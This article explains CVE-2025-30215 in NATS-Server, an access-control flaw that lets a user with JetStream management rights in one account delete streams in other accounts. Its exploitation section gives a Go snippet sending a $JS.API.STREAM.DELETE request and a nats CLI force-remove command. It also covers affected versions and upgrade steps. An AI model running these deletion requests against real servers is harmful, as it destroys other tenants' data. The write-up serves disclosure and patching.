*NATS-Server* is the backbone for many high-performance, cloud-native, and edge messaging systems through NATS.io. Recent security research has uncovered a dangerous vulnerability—CVE-2025-30215—that exposes management APIs in a way that allows a user in one account to perform destructive actions against JetStream assets in other accounts. This article breaks down what happened, shows example code, explains how to exploit the vulnerability, and of course, how to stay safe.

What is JetStream and Why Does This Matter?

JetStream is the persistence layer for NATS, supporting streams and consumers where your data and messages live. JetStream functions via an API with a special subject namespace ($JS.) that usually restricts access only to those with proper permissions in each account.

Vulnerability Details (CVE-2025-30215)

Affected Versions:

All NATS-Server versions from 2.2. up to, but not including, 2.10.27 and 2.11.1.

Bug Description:
- The APIs for managing JetStream assets (like streams or consumers) send messages in the $JS. namespace within the *system* account.

Some API endpoints lacked proper access checks.

- Any user with JS management permissions in *any* account could use the vulnerable APIs to take administrative actions—such as destroying streams belonging to *other accounts*.

What Could Go Wrong?
- Data destruction: At least one missing access control allowed deleting someone else’s stream from a separate tenant/account.
- However: No data disclosure was reported (no visibility into stream content, just administrative control).

How Does Exploitation Work?

Let’s say a "User" has JetStream admin rights in *their* account (A), but not in account (B). Normally, they shouldn’t be able to touch JetStream assets in (B). Because of this bug, the client can craft a special JetStream API request across accounts.

Exploit Scenario

Suppose User in Account A knows the name of a stream in Account B.

Step 1: Connect to NATS as user in Account A

import "github.com/nats-io/nats.go"

natsConn, err := nats.Connect("nats://your-nats-server:4222", nats.UserInfo("userA", "secret"))
if err != nil {
    log.Fatal(err)
}
js, err := natsConn.JetStream()

Craft a direct JetStream management API request—for deleting a stream

subject := "$JS.API.STREAM.DELETE.target_stream_name"
response, err := natsConn.Request(subject, nil, nats.DefaultTimeout)
if err != nil {
    log.Fatal(err)
}
fmt.Printf("Response: %s\n", string(response.Data))

- Even though target_stream_name is not in Account A, the bug caused the deletion to *succeed* anyway.

Why Does This Work?

The check to validate whether the stream belonged to the requesting account was missing or insufficient. The system would accept administrative commands as long as the user had *some* JetStream management right anywhere.

Suppose you have nats CLI and connected as a JS manager from Account A

nats --account A stream rm --force target_stream_name
# Dangerous: would delete the stream in another account!

Warning: Don’t do this except in your own controlled environment.

References and Official Patch

- NATS Security Advisories
- NATS-Server CVE-2025-30215 GitHub Issue *(check for updates)*
- NATS.io: JetStream API Reference
- NATS-Server Releases

These releases restore proper access controls for all JetStream management APIs.

To check your version:
Run

nats-server -v

To upgrade (example for Docker)

docker pull nats:2.11.1

Conclusion

CVE-2025-30215 is a big deal for any organization using NATS with JetStream for multi-tenant, cloud, or edge messaging. Attackers with basic JetStream admin rights in *any* account could destroy assets across the cluster. The solution is simple: upgrade NATS-Server to a fixed version without delay.

Need more details? Read the official advisory or consult NATS community.

Timeline

Published on: 04/16/2025 00:15:19 UTC
Last modified on: 04/17/2025 15:15:55 UTC